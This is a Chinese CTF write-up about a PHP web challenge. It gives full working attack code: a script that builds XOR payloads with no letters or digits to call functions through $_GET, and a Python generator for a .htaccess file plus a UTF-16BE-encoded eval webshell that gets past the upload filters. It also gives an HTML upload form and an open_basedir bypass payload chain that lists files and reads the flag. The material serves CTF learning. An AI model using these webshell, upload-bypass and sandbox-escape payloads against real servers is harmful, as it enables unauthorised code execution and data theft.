知识点: 构造不包含数字和字母的webshell ,文件上传绕过,绕过open_basedir/disable_function
首先上来一波代码,直接怼第一个知识点,也是我上一篇贴的p牛师傅的文章参考

代码分为两部分,上部分是文件上传的后端过滤代码这个一会解释,下面的部分是一个RCE代码,但这一题的过滤更强,数字字母全ban。
可以利用不可见字符的异或来构造,脚本如下:
<?php
$payload = '';
for($i=0;$i<strlen($argv[1]);$i++)
{
for($j=0;$j<255;$j++)
{
$k = chr($j)^chr(255); //dechex(255) = ff
if($k == $argv[1][$i])
$payload .= '%'.dechex($j);
}
}
echo $payload;
利用该脚本需要配置php环境变量在命令行下执行,具体配置参看:http://purplet.top/2020/03/21/php配置命令行界面/

所以尝试 ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
这种方法参看 一些不包含数字和字母的webshell 的第一种方法构造。解释一下这里大括号玩法参看PHP中的的大括号(花括号{})使用详解,其实也很好理解第一个大括号中间的异或结果就是我们之前传的参数__GET这样前面就构成了一个$_GET,第二个大括号里的$ff就相当于GET的参数,等价于__GET[%ff]。

于是我们接着构造: ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag
这时页面返回为空,并没有上传界面显示,不要慌,这是因为我们触发的是php文件上传的后端代码,前端的上传页面需要我们自己写一个即可。详细学习可以上b站。
再看下上传的php代码,可以看到过滤了ph开头的后缀,又过滤了<?连用,黑名单限制,但是没有金庸.htaccess可以构造.htaccess修改可读的php文件,利用.htaccess绕过
所以我们上传.htaccess文件,但是php的版本到七点儿多了,那么<script>就不能用了,而且又过滤了“<?”,那么我们就用utf-16be来绕过 ,
学到了。大佬写的Python脚本,学习一下:
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n" def generate_php_file(filename, script): phpfile = open(filename, 'wb') phpfile.write(script.encode('utf-16be')) phpfile.write(SIZE_HEADER) phpfile.close() def generate_htacess(): htaccess = open('.htaccess', 'wb') htaccess.write(SIZE_HEADER) htaccess.write(b'AddType application/x-httpd-php .lethe\n') htaccess.write(b'php_value zend.multibyte 1\n') htaccess.write(b'php_value zend.detect_unicode 1\n') htaccess.write(b'php_value display_errors 1\n') htaccess.close() generate_htacess() generate_php_file("shell.lethe", "<?php eval($_GET['cmd']); die(); ?>")
运行后生成两个文件,利用utf-16be生成的shell.lethe文件十六进制如下

存在一个特殊字符分割绕过连用,同时依然有效果(学到了),接下来利用自己构造的表单或者POSTMAN进行上传,得到路径显示。
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>upload</title> </head> <body> <FORM ENCTYPE="multipart/form-data" ACTION="http://716f60b1-257b-4921-9733-e1cf97b91301.node3.buuoj.cn/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag" METHOD=POST> <INPUT NAME="file" TYPE="file"> <INPUT TYPE="submit" VALUE="Send File"> </FORM> </body> </html>
注意上传的位置一定都是触发get_the_flag函数的URL。下面给出两种上传方法。


得到路径回显,访问执行命令,但是这里存在open_base_dir绕过问题
学习参考大佬博客: open_basedir绕过 ,我看傻了
于是构造
?cmd=chdir(‘/tmp’);mkdir(‘lethe’);chdir(‘lethe’);ini_set(‘open_basedir’,’..’);chdir(‘..’);chdir(‘..’);chdir(‘..’);chdir(‘..’);ini_set(‘open_basedir’,’/’);var_dump(ini_get(‘open_basedir’));var_dump(glob(‘*’));

得到flag位置后,最后读取flag即可,payload:
?cmd=chdir(‘/tmp’);mkdir(‘lethe’);chdir(‘lethe’);ini_set(‘open_basedir’,’..’);chdir(‘..’);chdir(‘..’);chdir(‘..’);chdir(‘..’);ini_set(‘open_basedir’,’/’);var_dump(ini_get(‘open_basedir’));var_dump(file_get_contents(THis_Is_tHe_F14g));

最后注意20分钟必须再上传一次.htaccess和shell不然会被移位,无法执行。